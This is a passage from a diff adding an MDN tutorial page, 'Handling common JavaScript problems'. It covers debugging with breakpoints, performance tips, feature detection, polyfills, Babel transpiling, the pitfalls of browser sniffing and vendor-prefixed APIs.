+ +<p>This solves the asynchronous issue, by ensuring that the functions are not run and passed the <code>superHeroes</code> object until the response has finished loading and is available.</p> + +<p>So to summarize, anytime something is not working and a value does not appear to be what it is meant to be at some point in your code, you can use <code>console.log()</code> to print it out and see what is happening.</p> + +<h4 id="Using_the_JavaScript_debugger">Using the JavaScript debugger</h4> + +<p>We have solved one problem, but we are still stuck with the error message "TypeError: heroes is undefined", reported on line 51. Let's investigate this now, using a more sophisticated feature of browser developer tools: the <a href="/en-US/docs/Tools/Debugger">JavaScript debugger</a> as it is called in Firefox.</p> + +<div class="note"> +<p><strong>Note</strong>: Similar tools are available in other browsers; the <a href="https://developers.google.com/web/tools/chrome-devtools/#sources">Sources tab</a> in Chrome, Debugger in Safari (see <a href="https://developer.apple.com/safari/tools/">Safari Web Development Tools</a>), etc.</p> +</div> + +<p>In Firefox, the Debugger tab looks as follows:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14169/debugger-tab.png" style="display: block; height: 253px; margin: 0px auto; width: 800px;"></p> + +<ul> + <li>On the left, you can select the script you want to debug (in this case we have only one).</li> + <li>The center panel shows the code in the selected script.</li> + <li>The right-hand panel shows useful details pertaining to the current environment — <em>Breakpoints</em>, <em>Callstack</em> and currently active <em>Scopes</em>.</li> +</ul> + +<p>The main feature of such tools is the ability to add breakpoints to code — these are points where the execution of the code stops, and at that point you can examine the environment in its current state and see what is going on.</p> + +<p>Let's get to work. First of all, we know that the error is being thrown at line 51. Click on line number 51 in the center panel to add a breakpoint to it (you'll see a blue arrow appear over the top of it). Now refresh the page (Cmd/Ctrl + R) — the browser will pause execution of the code at line 51. At this point, the right-hand side will update to show some very useful information.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14163/breakpoint.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>Under <em>Breakpoints</em>, you'll see the details of the break-point you have set.</li> + <li>Under <em>Call Stack</em>, you'll see two entries — this is basically a list of the series of functions that were invoked to cause the current function to be invoked. At the top, we have <code>showHeroes()</code> the function we are currently in, and below we have <code>request.onload</code>, which stores the event handler function containing the call to <code>showHeroes()</code>.</li> + <li>Under <em>Scopes</em>, you'll see the currently active scope for the function we are looking at. We only have two — <code>showHeroes</code>, and <code>Window</code> (the global scope). Each scope can be expanded to show the values of variables inside the scope at the point that execution of the code was stopped.</li> +</ul> + +<p>We can find out some very useful information in here.</p> + +<ol> + <li>Expand the <code>showHeroes</code> scope — you can see from this that the heroes variable is undefined, indicating that accessing the <code>members</code> property of <code>jsonObj</code> (first line of the function) didn't work.</li> + <li>You can also see that the <code>jsonObj</code> variable is storing a text string, not a JSON object.</li> + <li>Exploring further down the call stack, click <code>request.onload</code> in the <em>Call Stack</em> section. The view will update to show the <code>request.onload</code> function in the center panel, and its scopes in the <em>Scopes</em> section.</li> + <li>Now if you expand the <code>request.onload</code> scope, you'll see that the <code>superHeroes</code> variable is a text string too, not an object. This settles it — our <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> call is returning the JSON as text, not JSON.</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: We'd like you to try fixing this problem yourself. To give you a clue, you can either <a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">tell the XMLHttpRequest object explicitly to return JSON format</a>, or <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">convert the returned text to JSON</a> after the response arrives. If you get stuck, consult our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fixed-ajax.html">fixed-ajax.html</a> example.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: The debugger tab has many other useful features that we've not discussed here, for example conditional breakpoints and watch expressions. For a lot more information, see the <a href="/en-US/docs/Tools/Debugger">Debugger</a> page.</p> +</div> + +<h3 id="Performance_issues">Performance issues</h3> + +<p>As your apps get more complex and you start to use more JavaScript, you may start to run into performance problems, especially when viewing apps on slower devices. Performance is a big topic, and we don't have time to cover it in detail here. Some quick tips are as follows:</p> + +<ul> + <li>To avoid loading more JavaScript than you need, bundle your scripts into a single file using a solution like <a href="http://browserify.org/">Browserify</a>. In general, reducing the number of HTTP requests is very good for performance.</li> + <li>Make your files even smaller by minifying them before you load them onto your production server. Minifying squashes all the code together onto a huge single line, making it take up far less file size. It is ugly, but you don't need to read it when it is finished! This is best done using a minification tool like <a href="https://github.com/mishoo/UglifyJS2">Uglify</a> (there's also an online version — see <a href="https://jscompress.com/">JSCompress.com</a>)</li> + <li>When using APIs, make sure you turn off the API features when they are not being used; some API calls can be really expensive on processing power. For example, when showing a video stream, make sure it is turned off when you can't see it. When tracking a device's location using repeated Geolocation calls, make sure you turn it off when the user stops using it.</li> + <li>Animations can be really costly for performance. A lot of JavaScript libraries provide animation capabilities programmed by JavaScript, but it is much more cost effective to do the animations via native browser features like <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> (or the nascent <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>) than JavaScript. Read Brian Birtles' <a href="https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/">Animating like you just don’t care with Element.animate</a> for some really useful theory on why animation is expensive, tips on how to improve animation performance, and information on the Web Animations API.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: Addy Osmani's <a href="https://www.smashingmagazine.com/2012/11/writing-fast-memory-efficient-javascript/" rel="bookmark" title="Read 'Writing Fast, Memory-Efficient JavaScript'"><span class="headline">Writing Fast, Memory-Efficient JavaScript</span></a> <span class="headline">contains a lot of detail and some excellent tips for boosting JavaScript performance.</span></p> +</div> + +<h2 id="Cross-browser_JavaScript_problems">Cross-browser JavaScript problems</h2> + +<p>In this section, we'll look at some of the more common cross-browser JavaScript problems. We'll break this down into:</p> + +<ul> + <li>Using modern core JavaScript features</li> + <li>Using modern Web API features</li> + <li>Using bad browser sniffing code</li> + <li>Performance problems</li> +</ul> + +<h3 id="Using_modern_JavaScriptAPI_features">Using modern JavaScript/API features</h3> + +<p>In the <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Older_browsers_not_supporting_modern_features">previous article</a> we described some of the ways in which HTML and CSS errors and unrecognized features can be handled due to the nature of the languages. JavaScript is not as permissive as HTML and CSS however — if the JavaScript engine encounters mistakes or unrecognized syntax, more often than not it will throw errors.</p> + +<p>There are a number of modern JavaScript language features defined in recent versions of the specs (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6</a> / <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next</a>) that simply won't work in older browsers. Some of these are syntactic sugar (basically an easier, nicer way of writing what you can already do using existing features), and some offer interesting new possibilities.</p> + +<p>For example:</p> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> are a great new feature for performing asynchronous operations and making sure those operations are complete before code that relies on their results is used for something else. As an example, the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/fetch">Fetch API</a> (a modern equivalent to <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHTTPRequest</a>) uses promises to fetch resources across the network and make sure that the response has been returned before they are used (for example, displaying an image inside an {{htmlelement("img")}} element). They are not supported in IE at all but are supported across all modern browsers.</li> + <li>Arrow functions provide a shorter, more convenient syntax for writing <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">anonymous functions</a>, which also has other advantages (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>). For a quick example, see <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">source code</a> also). Arrow functions are supported across all modern browsers, except for IE and Safari.</li> + <li>Declaring <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> at the top of your JavaScript code causes it to be parsed with a stricter set of rules, meaning that more warnings and errors will be thrown, and some things will be disallowed that would otherwise be acceptable. It is arguably a good idea to use strict mode, as it makes for better, more efficient code, however it has limited/patchy support across browsers (see <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode#Strict_mode_in_browsers">Strict mode in browsers</a>).</li> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed arrays</a> allow JavaScript code to access and manipulate raw binary data, which is necessary as browser APIs for example start to manipulate streams of raw video and audio data. These are available in IE10 and above, and all modern browsers.</li> +</ul> + +<p>There are also many new APIs appearing in recent browsers, which don't work in older browsers, for example:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a>, <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>, and others for storing website data on the client-side.</li> + <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> for running JavaScript in a separate thread, helping to improve performance.</li> + <li><a href="/en-US/docs/Learn/WebGL">WebGL API</a> for real 3D graphics.</li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> for advanced audio manipulation.</li> + <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> for multi-person, real-time video/audio connectivity (e.g. video conferencing).</li> + <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> for engineering virtual reality experiences in the browser (e.g. controlling a 3D view with data input from VR Hardware)</li> +</ul> + +<p>There are a few strategies for handling incompatibilities between browsers relating to feature support; let's explore the most common ones.</p> + +<div class="note"> +<p><strong>Note</strong>: These strategies do not exist in separate silos — you can, of course combine them as needed. For example, you could use feature detection to determine whether a feature is supported; if it isn't, you could then run code to load a polyfill or a library to handle the lack of support.</p> +</div> + +<h4 id="Feature_detection">Feature detection</h4> + +<p>The idea behind feature detection is that you can run a test to determine whether a JavaScript feature is supported in the current browser, and then conditionally run code to provide an acceptable experience both in browsers that do and don't support the feature. As a quick example, the <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> (which exposes available location data for the device the web browser is running on) has a main entry point for its use — a <code>geolocation</code> property available on the global <a href="/en-US/docs/Web/API/Navigator">Navigator</a> object. Therefore, you can detect whether the browser supports geolocation or not by using something like the following:</p> + +<pre class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="string token">"geolocation"</span> <span class="keyword token">in</span> navigator<span class="punctuation token">)</span> <span class="punctuation token">{</span> + navigator<span class="punctuation token">.</span>geolocation<span class="punctuation token">.</span><span class="function token">getCurrentPosition</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>position<span class="punctuation token">)</span> <span class="punctuation token">{</span> + // show the location on a map, perhaps using the Google Maps API + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">; +}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + // Give the user a choice of static maps instead perhaps +<span class="punctuation token">}</span></pre> + +<p>You could also write such a test for a CSS feature, for example by testing for the existence of <em><a href="/en-US/docs/Web/API/HTMLElement/style">element.style.property</a></em> (e.g. <code>paragraph.style.transform !== undefined</code>). But for both CSS and JavaScript, it is probably better to use an established feature detection library rather than writing your own all the time. Modernizr is the industry standard for feature detection tests.</p> + +<p>As a last point, don't confuse feature detection with <strong>browser sniffing</strong> (detecting what specific browser is accessing the site) — this is a terrible practice that should be discouraged at all costs. See {{anch("Using bad browser sniffing code")}}, later on, for more details.</p> + +<div class="note"> +<p><strong>Note</strong>: Some features are known to be undetectable — see Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Undetectables</a>.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: Feature detection will be covered in a lot more detail in its own dedicated article, later in the module.</p> +</div> + +<h4 id="Libraries">Libraries</h4> + +<p>JavaScript libraries are essentially third party units of code that you can attach to your page, providing you with a wealth of ready-made functionality that can be used straight away, saving you a lot of time in the process. A lot of JavaScript libraries probably came into existence because their developer was writing a set of common utility functions to save them time when writing future projects, and decided to release them into the wild because other people might find them useful too.</p> + +<p>JavaScript libraries tend to come in a few main varieties (some libraries will serve more than one of these purposes):</p> + +<ul> + <li>Utility libraries: Provide a bunch of functions to make mundane tasks easier and less boring to manage. <a href="http://jquery.com/">jQuery</a> for example provides its own fully-featured selectors and DOM manipuation libraries, to allow CSS-selector type selecting of elements in JavaScript and easier DOM building. It is not so important now we have modern features like {{domxref("Document.querySelector()")}}/{{domxref("Document.querySelectorAll()")}}/{{domxref("Node")}} methods available across browsers, but it can still be useful when older browsers need supporting.</li> + <li>Convenience libraries: Make difficult things easier to do. For example, the <a href="/en-US/docs/Learn/WebGL">WebGL API</a> is really complex and challenging to use when you write it directly, so the <a href="https://threejs.org/">Three.js</a> library (and others) is built on top of WebGL and provides a much easier API for creating common 3D objects, lighting, textures, etc. The <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> is also very complex to use, so code libraries have started appearing to make common Service Worker uses-cases much easier to implement (see the <a href="https://serviceworke.rs/">Service Worker Cookbook</a> for several useful code samples).</li> + <li>Effects libraries: These libraries are designed to allow you to easily add special effects to your websites. This was more useful back when {{glossary("DHTML")}} was a popular buzzword, and implementing effect involved a lot of complex JavaScript, but these days browsers have a lot of built in CSS3 features and APIs to implementing effects more easily. See <a href="https://www.javascripting.com/animation/">JavaScripting.com/animation</a> for a list of libraries.</li> + <li>UI libraries: Provide methods for implementing complex UI features that would otherwise be challenging to implement and get working cross browser, for example <a href="http://jqueryui.com/">jQuery UI</a> and <a href="http://foundation.zurb.com/">Foundation</a>. These tend to be used as the basis of an entire site layout; it is often difficult to drop them in just for one UI feature.</li> + <li>Normalization libraries: Give you a simple syntax that allows you to easily complete a task without having to worry about cross browser differences. The library will manipulate appropriate APIs in the background so the functionality will work whatever the browser (in theory). For example, <a href="https://github.com/localForage/localForage">LocalForage</a> is a library for client-side data storage, which provides a simple syntax for storing and retrieving data. In the background, it uses the best API the browser has available for storing the data, whether that is <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage</a>, or even WebSQL (which is now deprecated, but is still supported in some older versions of Safari/IE). As another example, jQuery</li> +</ul> + +<p>When choosing a library to use, make sure that it works across the set of browsers you want to support, and test your implementation thoroughly. Also make sure that the library is popular and well-supported, and isn't likely to just become obsolete next week. Talk to other developers to find out what they recommend, see how much activity and how many contributors the library has on Github (or wherever else it is stored), etc.</p> + +<div class="note"> +<p><strong>Note</strong>: <a href="https://www.javascripting.com/">JavaScripting.com</a> gives you a good idea of just how many JavaScript libraries there are available, and can be useful for finding libraries for specific purposes.</p> +</div> + +<p>Library usage at a basic level tends to consist of downloading the library's files (JavaScript, possibly some CSS or other dependencies too) and attaching them to your page (e.g. via a {{htmlelement("script")}} element), although there are normally many other usage options for such libraries, like installing them as <a href="https://bower.io/">Bower</a> components, or including them as dependencies via the <a href="https://webpack.github.io/">Webpack</a> module bundler. You will have to read the libraries' individual install pages for more information.</p> + +<div class="note"> +<p><strong>Note</strong>: You will also come across JavaScript frameworks in your travels around the Web, like <a href="http://emberjs.com/">Ember</a> and <a href="https://angularjs.org/">Angular</a>. Whereas libraries are often usable for solving individual problems and dropping into existing sites, frameworks tend to be more along the lines of complete solutions for developing complex web applications.</p> +</div> + +<h4 id="Polyfills">Polyfills</h4> + +<p>Polyfills also consist of 3rd party JavaScript files that you can drop into your project, but they differ from libraries — whereas libraries tend to enhance existing functionality and make things easier, polyfills provide functionality that doesn't exist at all. Polyfills use JavaScript or other technologies entirely to build in support for a feature that a browser doesn't support natively. For example, you might use a polyfill like <a href="https://github.com/stefanpenner/es6-promise">es6-promise</a> to make promises work in browsers where they are not supported natively.</p> + +<p class="gh-header-title instapaper_title">Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">HTML5 Cross Browser Polyfills</a> is a useful place to find polyfills for different purposes. Again, you should research them before you use them — make sure they work and are maintained.</p> + +<p class="gh-header-title instapaper_title">Let's work through an exercise — in this example we will use a Fetch polyfill to provide support for the Fetch API in older browsers; however we also need to use the es6-promise polyfill, as Fetch makes heavy use of promises, and browsers that don't support them will still be in trouble.</p> + +<ol> + <li class="gh-header-title instapaper_title">To get started, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html">fetch-polyfill.html</a> example and <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg">our nice image of some flowers</a> in a new directory. We are going to write code to fetch the flowers image and display it in the page.</li> + <li class="gh-header-title instapaper_title">Next, save copies of the <a href="https://raw.githubusercontent.com/github/fetch/master/fetch.js">Fetch polyfill</a> and the <a href="https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js">es6-promises polyfill</a> in the same directory as the HTML.</li> + <li class="gh-header-title instapaper_title">Apply the polyfill scripts to the page using the following code — place these above the existing {{htmlelement("script")}} element so they will be available on the page already when we start trying to use Fetch: + <pre class="brush: js"><script src="es6-promise.js"></script> +<script src="fetch.js"></script></pre> + </li> + <li>Inside the original {{htmlelement("script")}}, add the following code:</li> + <li> + <pre class="brush: js">var myImage = document.querySelector('.my-image'); + +fetch('flowers.jpg').then(function(response) { + response.blob().then(function(myBlob) { + var objectURL = URL.createObjectURL(myBlob); + myImage.src = objectURL; + }); +});</pre> + </li> + <li>Now if you load it in a browser that doesn't support Fetch (Safari and IE are obvious candidates), you should still see the flower image appear — cool! <br> + <img alt="" src="https://mdn.mozillademos.org/files/14183/fetch-image.jpg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: You can find our finished version at <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">fetch-polyfill-finished.html</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">source code</a>).</p> +</div> + +<div class="note"> +<p class="gh-header-title instapaper_title"><strong>Note</strong>: Again, there are many different ways to make use of the different polyfills you will encounter — consult each polyfill's individual documentation.</p> +</div> + +<p>One thing you might be thinking is "why should we always load the polyfill code, even if we don't need it?" This is a good point — as your sites get more complex and you start to use more libraries, polyfills, etc., you can start to load a lot of extra code, which can start to affect performance, especially on less-powerful devices. It makes sense to only load files as needed.</p> + +<p>Doing this requires some extra setup in your JavaScript. You need some kind of a feature detection test that detects whether the browser supports the feature we are trying to use:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-keyword">if</span> (browserSupportsAllFeatures()) { + main(); +} <span class="hljs-keyword">else</span> { + loadScript(<span class="hljs-string">'polyfills.js'</span>, main); +} + +<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span>(err) </span>{ + <span class="hljs-comment">// actual app code goes in here</span> +}</code></pre> + +<p>So first we run a conditional that checks whether the function <code>browserSupportsAllFeatures()</code> returns true. If it does, we run the <code>main()</code> function, which will contain all our app's code. <code>browserSupportsAllFeatures()</code> looks like this:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">browserSupportsAllFeatures</span>() </span>{ + <span class="hljs-keyword">return</span> <span class="hljs-built_in">window</span>.Promise && <span class="hljs-built_in">window</span>.fetch; +}</code></pre> + +<p>Here we are testing whether the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> object and <code><a href="/en-US/docs/Web/API/GlobalFetch/fetch">fetch()</a></code> function exist in the browser. If both do, the function returns true. If the function returns <code>false</code>, then we run the code inside the second part of the conditional — this runs a function called loadScript(), which loads the polyfills into the page, then runs <code>main()</code> after the loading has finished. <code>loadScript()</code> looks like this:</p> + +<pre class="brush: js"><code class="language-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadScript</span>(<span class="hljs-params">src, done</span>) </span>{ + <span class="hljs-keyword">var</span> js = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'script'</span>); + js.src = src; + js.onload = <span class="hljs-function"><span class="hljs-keyword">function</span>() </span>{ + done(); + }; + js.onerror = <span class="hljs-function"><span class="hljs-keyword">function</span>() </span>{ + done(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Failed to load script '</span> + src)); + }; + <span class="hljs-built_in">document</span>.head.appendChild(js); +}</code> +</pre> + +<p>This function creates a new <code><script></code> element, then sets its <code>src</code> attribute to the path we specified as the first argument (<code>'polyfills.js'</code> when we called it in the code above). When it has loaded, we run the function we specified as the second argument (<code>main()</code>). If an error occurs in the loading of the script, we still call the function, but with a custom error that we can retrieve to help debug a problem if it occurs.</p> + +<p>Note that polyfills.js is basically the two polyfills we are using put together into one file. We did this manually, but there are cleverer solutions that will automatically generate bundles for you — see <a href="http://browserify.org/">Browserify</a> (see <a href="https://www.sitepoint.com/getting-started-browserify/">Getting started with Browserify</a> for a basic tutorial). It is a good idea to bundle JS files into one like this — reducing the number of HTTP requests you need to make improves the performance of your site.</p> + +<p>You can see this code in action in <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">fetch-polyfill-only-when-needed.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">source code also</a>). We'd like to make it clear that we can't take credit for this code — it was originally written by Philip Walton. Check out his article <a href="https://philipwalton.com/articles/loading-polyfills-only-when-needed/">Loading Polyfills Only When Needed</a> for the original code, plus a lot of useful explanation around the wider subject).</p> + +<div class="note"> +<p><strong>Note</strong>: There are some 3rd party options to consider, for example <a href="https://polyfill.io/v2/docs/">Polyfill.io</a> — this is a meta-polyfill library that will look at each browser's capabilities and apply polyfills as needed, depending on what APIs and JS features you are using in your code.</p> +</div> + +<h4 id="JavaScript_transpiling">JavaScript transpiling</h4> + +<p>Another option that is becoming popular for people that want to use modern JavaScript features now is converting code that makes use of ECMAScript 6/ECMAScript 2015 features to a version that will work in older browsers.</p> + +<div class="note"> +<p><strong>Note</strong>: This is called "transpiling" — you are not compiling code into a lower level for to be run on a computer (like you would say with C code); instead, you are changing it into a syntax that exists at a similar level of abstraction so it can be used in the same way, but in slightly different circumstances (in this case, transforming one flavor of JavaScript into another).</p> +</div> + +<p>So for example, we talked about arrow functions (see <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html</a> live, and see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">source code</a>) earlier in the article, which only work in the newest browsers:</p> + +<pre class="brush: js">() => { ... }</pre> + +<p>We could transpile this across to a traditional old-fashioned anonymous function, so it would work in older browsers:</p> + +<pre class="brush: js">function() { ... }</pre> + +<p>The recommended tool for JavaScript transpiling is currently <a href="https://babeljs.io/">Babel</a>. This offers transpilation capabilities for language features that are appropriate for transpilation. For features that can't just be easily transpiled into an older equivalent, Babel also offers polyfills to provide support.</p> + +<p>The easiest way to give Babel a try is to use the <a href="https://babeljs.io/repl/">online version</a>, which allows you to enter your source code on the left, and outputs a transpiled version on the right.</p> + +<div class="note"> +<p><strong>Note</strong>: There are many ways to use Babel (task runners, automation tools, etc.), as you'll see on the <a href="https://babeljs.io/docs/setup/">setup page</a>.</p> +</div> + +<h3 id="Using_bad_browser_sniffing_code">Using bad browser sniffing code</h3> + +<p>All browsers have a <strong>user-agent</strong> string, which identifies what the browser is (version, name, OS, etc.) In the bad only days when pretty much everyone used Netscape or Internet Explorer, developers used to use so-called <strong>browser sniffing code</strong> to detect which browser the user was using, and give them appropriate code to work on that browser.</p> + +<p>The code used to look something like this (although this is a simplified example):</p> + +<pre class="brush: js">var ua = navigator.userAgent; + +if(ua.indexOf('Firefox') !== -1) { + // run Firefox-specific code +} else if(ua.indexOf('Chrome') !== -1) { + // run Chrome-specific code +}</pre> + +<p>The idea was fairly good — detect what browser is viewing the site, and run code as appropriate to make sure the browser will be able to use your site OK.</p> + +<div class="note"> +<p><strong>Note</strong>: Try opening up your JavaScript console now and running navigator.userAgent, to see what you get returned.</p> +</div> + +<p>However, as time went on, developers started to see major problems with this approach. For a start, the code was error prone. What if you knew a feature didn't work in say, Firefox 10 and below, and implemented code to detect this, and then Firefox 11 came out — which did support that feature? Firefox 11 probably wouldn't be supported because it's not Firefox 10. You'd have to change all your sniffing code regularly.</p> + +<p>Many developers implemented bad browser sniffing code and didn't maintain it, and browsers start getting locked out of using websites containing features that they had since implemented. This became so common that browsers started to lie about what browser they were in their user-agent strings (or claim they were all browsers), to get around sniffing code. Browsers also implemented facilities to allow users to change what user-agent string the browser reported when queried with JavaScript. This all made browser sniffing even more error prone, and ultimately pointless. </p> + +<div class="note"> +<p><strong>Note</strong>: You should read <a href="http://webaim.org/blog/user-agent-string-history/">History of the browser user-agent string</a> by Aaron Andersen for a useful and amusing take on this situation.</p> +</div> + +<p>The lesson to be learned here is — NEVER use browser sniffing. The only really use case for browser sniffing code in the modern day is if you are implementing a fix for a bug in a very specific version of a particular browser. But even then, most bugs get fixed pretty quickly in browser vendor rapid release cycles. It won't come up very often. {{anch("Feature detection")}} is almost always a better option — if you detect whether a feature is supported, you won't need to change your code when new browser versions come out, and the tests are much more reliable.</p> + +<p>If you come across browser sniffing when joining an existing project, look at whether it can be replaced with something more sensible. Browser sniffing causes all kind of interesting bugs, like {{bug(1308462)}}.</p> + +<h3 id="Handling_JavaScript_prefixes">Handling JavaScript prefixes</h3> + +<p>In the previous article, we included quite a lot of discussion about <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">handing CSS prefixes</a>. Well, new JavaScript implementations sometimes use prefixes too, although JavaScript uses camel case rather than hyphenation like CSS. For example, if a prefix was being used on a new shint API object called <code>Object</code>:</p> + +<ul> + <li>Mozilla would use <code>mozObject</code></li> + <li>Chrome/Opera/Safari would use <code>webkitObject</code></li> + <li>Microsoft would use <code>msObject</code></li> +</ul> + +<p>Here's an example, taken from our <a href="http://mdn.github.io/violent-theremin/">violent-theremin demo</a> (see <a href="https://github.com/mdn/violent-theremin">source code</a>), which uses a combination of the <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a> and the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> to create a fun (and noisy) drawing tool:</p> + +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext();</pre> + +<p>In the case of the Web Audio API, the key entry points to using the API were supported in Chrome/Opera via <code>webkit</code> prefixed versions (they now support the unprefixed versions). The easy way to get around this situation is to create a new version of the objects that are prefixed in some browsers, and make it equal to the non-prefixed version, OR the prefixed version (OR any other prefixed versions that need consideration) — whichever one is supported by the browser currently viewing the site will be used.</p> + +<p>Then we use that object to manipulate the API, rather than the original one. In this case we are creating a modified <a href="/en-US/docs/Web/API/AudioContext">AudioContext</a> constructor, then creating a new audio context instance to use for our Web Audio coding.</p> + +<p>This pattern can be applied to just about any prefixed JavaScript feature. JavaScript libraries/polyfills also make use of this kind of code, to abstract browser differences away from the developer as much as possible.</p> + +<p>Again, prefixed features were never supposed to be used in production websites — they are subject to change or removal without warning, and cause cross browser issues. If you insist on using prefixed features, make sure you use the right ones. You can look up what browsers require prefixes for different JavaScript/API features on MDN reference pages, and sites like <a href="http://caniuse.com/">caniuse.com</a>. If you are unsure, you can also find out by doing some testing directly in browsers.</p> + +<p>For example, try going into your browser's developer console and start typing</p> + +<pre class="brush: js">window.AudioContext</pre> + +<p>If this feature is supported in your browser, it will autocomplete.</p> + +<h2 id="Finding_help">Finding help</h2> + +<p>There are many other issues you'll encounter with JavaScript; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Finding_help">Finding help section</a> for our best advice.</p> + +<h2 id="Summary">Summary</h2> + +<p>So that's JavaScript. Simple huh? Maybe not so simple, but this article should at least give you a start, and some ideas on how to tackle the JavaScript-related problems you will come across.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html new file mode 100644 index 0000000000..d1210ff118 --- /dev/null 